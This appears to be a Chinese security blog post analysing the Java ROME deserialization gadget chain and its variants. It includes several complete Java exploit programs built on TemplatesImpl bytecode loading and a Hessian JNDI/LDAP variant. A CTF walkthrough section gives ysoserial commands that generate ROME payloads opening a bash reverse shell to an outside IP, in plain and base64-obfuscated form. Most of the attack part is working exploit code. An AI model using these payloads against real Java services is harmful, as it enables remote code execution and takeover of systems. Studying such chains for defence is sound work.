emm说实话这个ROME链其实可以理解为fastjson的触发 就是调用任意的getter方法,那么fastjson的打法基本上可以直接抄过来了
ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。
rome
rome
1.0
HashMap#readObject -> ObjectBean#hashCode() -> ToStringBean#toString(String) -> TemplatesImpl.getOutputProperties()
com.sun.syndication.feed.impl.ObjectBean
是 Rome 提供的一个封装类,初始化时提供了一个 Class 类型和一个 Object 对象实例进行封装
ObjectBean 有三个成员变量,分别是 EqualsBean/ToStringBean/CloneableBean 类,这三个类为 ObjectBean 提供了 equals
、toString
、clone
以及 hashCode
方法。
来看一下 ObjectBean 的 hashCode
方法,会调用 EqualsBean 的 beanHashCode
方法
调用 EqualsBean 中保存的 _obj
的 toString()
方法
而这个 toString()
方法也就是触发利用链的地方,继 BadAttributeValueExpException 之后的另一个使用 toString()
方法触发利用的链。
com.sun.syndication.feed.impl.ToStringBean
类从名字可以看出,这个类给对象提供 toString 方法,类中有两个 toString 方法,第一个是无参的方法。获取调用链中上一个类或 _obj
属性中保存对象的类名,并调用第二个 toString 方法。
然后这个有参方法会调用 BeanIntrospector.getPropertyDescriptors()
来获取 _beanClass
的全部 getter/setter 方法,然后判断参数长度为 0 的方法使用 _obj
实例进行反射调用,翻译成人话就是会调用所有 getter 方法拿到全部属性值,然后打印出来。
由此可见,ToStringBean 的 toString()
方法可以触发其中 _obj
实例的全部 getter 方法,可以用来触发 TemplatesImpl 的利用链。
EXP
package ROME;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class Rome {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
// 生成包含恶意类字节码的 TemplatesImpl 类
byte[] payloads = Files.readAllBytes(Paths.get("D:\\Security-Testing\\Java-Sec\\Java-Sec-Payload\\target\\classes\\Evail_Class\\Calc_Ab.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {payloads});
setFieldValue(templates, "_name", "zjacky");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 使用 TemplatesImpl 初始化被包装类,使其 ToStringBean 也使用 TemplatesImpl 初始化
ObjectBean delegate = new ObjectBean(Templates.class, templates);
// 使用 ObjectBean 封装这个类,使其在调用 hashCode 时会调用 ObjectBean 的 toString
// 先封装一个无害的类
ObjectBean root = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "zjacky"));
// 放入 Map 中
HashMap map = new HashMap<>();
map.put(root, "zjacky");
map.put("1", "1");
// put 到 map 之后再反射写进去,避免触发漏洞
Field field = ObjectBean.class.getDeclaredField("_equalsBean");
field.setAccessible(true);
field.set(root, new EqualsBean(ObjectBean.class, delegate));
// serialize(map);
unserialize("ser.bin");
}
}
这个链子其实非常简单,所以会有很多排列组合,只需要反序列化入口能够出发hashcode()方法或者最终触发到ToStringBean方法的tostring就行
利用链
HashMap#ReadObject() -> EqualsBean#hashCode() -> ToStringBean#toString(String) -> TemplatesImpl.getOutputProperties()
EqualsBean.class#hashcode
相当于跳过了一步吧,感觉没啥用只能说是一种变形
package ROME;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class ROME_ObjectBean_hashCode {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] payloads = Files.readAllBytes(Paths.get("D:\\Security-Testing\\Java-Sec\\Java-Sec-Payload\\target\\classes\\Evail_Class\\Calc_Ab.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {payloads});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
HashMap hashMap = new HashMap<>();
hashMap.put(objectBean, "123");
// serialize(hashMap);
unserialize("ser.bin");
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
HashTable#readobject()
HashTable利用链其实并不是针对ROME的利用链。其作用是能够类似hashmap一样调用任意类的hashcode方法
利用链
HashTable#ReadObject() -> ObjectBean#hashCode() -> ToStringBean#toString(String) -> TemplatesImpl.getOutputProperties()
先断到HashTable#reconstitutionPut()
可以发现也是直接调用key
的hashcode
方法
package ROME;
import Serial.Serial;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Hashtable;
public class ROME_HashTable {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\34946\\Desktop\\ROME\\target\\classes\\shell.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
Hashtable hashtable = new Hashtable();
hashtable.put(objectBean,"123");
Serial.Serialize(hashtable);
Serial.DeSerialize("ser.bin");
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
利用链
BadAttributeValueExpException#readObject() -> ToStringBean.toString(String) -> TemplatesImpl.getOutputProperties()
package ROME;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class ROME_BadAttributeValueExpException {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] payloads = Files.readAllBytes(Paths.get("D:\\Security-Testing\\Java-Sec\\Java-Sec-Payload\\target\\classes\\Evail_Class\\Calc_Ab.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {payloads});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
setValue(badAttributeValueExpException,"val",toStringBean);
serialize(badAttributeValueExpException);
unserialize("ser.bin");
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
这条是spring原生的toString利用链,调用链如下
利用链
HashMap#readObject() -> HashMap#putVal -> HotSwappableTargetSource#equals -> XString.equals -> ToStringBean.toString -> TemplatesImpl.getOutputProperties()
在/Library/Java/JavaVirtualMachines/jdk1.8.0_65.jdk/Contents/Home/src.zip!/com/sun/org/apache/xpath/internal/objects/XString.java
类下找到 equals方法可以调用toString
方法
往上跟进找到
spring-aop-5.0.14.RELEASE.jar!/org/springframework/aop/target/HotSwappableTargetSource.java#equals()
由于是equals()就想到了Hashmap这条,于是就跟完了
EXP
package ROME;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class ROME_HotSwappableTargetSource {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] payloads = Files.readAllBytes(Paths.get("/Users/zjacky/Documents/Security-Testing/Java-Sec/Java-Sec-Payload/target/classes/Evail_Class/Calc.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {payloads});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templatesimpl);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
HashMap hashMap = new HashMap<>();
hashMap.put(h1,h1);
hashMap.put(h2,h2);
//serialize(hashMap);
unserialize("ser.bin");
}
}
既然Rome可以任意触发getter方法,那必然想到Fastjson中的JdbcRowSetImpl的JNDI
利用链
Hessian#readObject() -> HashMap#put()-> ObjectBean#hashCode() -> ToStringBean#toString(String) -> JdbcRowSetImpl#getDatabaseMetaData()
问题出在JdbcRowSetImpl#getDatabaseMetaData()
调用this.connect();
方法 跟进一下
这个的话很明显的一个lookup函数配合JNDI
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
另一个函数就是setDataSourceName
去设置下我们JNDI查询的地址即可
他会调用父类的setDataSourceName
然后去设置dataSource
参数
而lookup函数的参数其实就是datasource这个参数
EXP
package Hessian;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
public class Hessian_JNDI implements Serializable {
public static byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println(bao.toString());
return bao.toByteArray();
}
public static T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return (T) o;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static Object getValue(Object obj, String name) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
}
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:1389/1re2as";
jdbcRowSet.setDataSourceName(url);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
//手动生成HashMap,防止提前调用hashcode()
HashMap hashMap = makeMap(equalsBean,"1");
byte[] s = serialize(hashMap);
System.out.println(s);
System.out.println((HashMap)deserialize(s));
}
public static HashMap makeMap ( Object v1, Object v2 ) throws Exception {
HashMap s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
}
先给了 4 个 class
// Test.class
package cn.abc.core.controller;
import cn.abc.common.bean.ResponseCode;
import cn.abc.common.bean.ResponseResult;
import cn.abc.common.security.annotation.Access;
import cn.abc.core.sqldict.SqlDict;
import cn.abc.core.sqldict.Table;
import io.swagger.annotations.ApiOperation;
import java.io.IOException;
import java.util.List;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@CrossOrigin
@RestController
@RequestMapping({"/common/test"})
public class Test {
@PostMapping({"/sqlDict"})
@Access
@ApiOperation("\u4e3a\u4e86\u5f00\u53d1\u65b9\u4fbf\u5bf9\u5e94\u6570\u636e\u5e93\u5b57\u5178\u67e5\u8be2")
public ResponseResult sqlDict(String dbName) throws IOException {
List<span style="font-weight:bold;">Spring 中有 Rome 环境,使用 Rome 链</span>
```bash
java -jar ysoserial.jar ROME "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzQ3LjEwOC4yMDkuNi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" > 1.bin
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "bash -i >&/dev/tcp/47.108.209.6/4444 0>&1" | base64 -w 0
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzQ3LjEwOC4yMDkuN i80NDQ0IDA+JjE=|{base64,-d}|{bash,-i}" | base64 -w 0 > 1.bin
base64解码直接反序列化,看看依赖有ROME也有jackson
符合漏洞版本直接打jackson反序列化就行
直接打rome链即可
package ROME;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class Rome {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
// 生成包含恶意类字节码的 TemplatesImpl 类
byte[] payloads = Files.readAllBytes(Paths.get("D:\\Security-Testing\\Java-Sec\\Java-Sec-Payload\\target\\classes\\Evail_Class\\Calc_Ab.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {payloads});
setFieldValue(templates, "_name", "zjacky");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 使用 TemplatesImpl 初始化被包装类,使其 ToStringBean 也使用 TemplatesImpl 初始化
ObjectBean delegate = new ObjectBean(Templates.class, templates);
// 使用 ObjectBean 封装这个类,使其在调用 hashCode 时会调用 ObjectBean 的 toString
// 先封装一个无害的类
ObjectBean root = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "zjacky"));
// 放入 Map 中
HashMap map = new HashMap<>();
map.put(root, "zjacky");
map.put("1", "1");
// put 到 map 之后再反射写进去,避免触发漏洞
Field field = ObjectBean.class.getDeclaredField("_equalsBean");
field.setAccessible(true);
field.set(root, new EqualsBean(ObjectBean.class, delegate));
serialize(map);
// unserialize("ser.bin");
}
}
base64传入即可
工具
java -jar y4-yso.jar ROME "calc" | base64 -w 0 > 1.txt
16 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!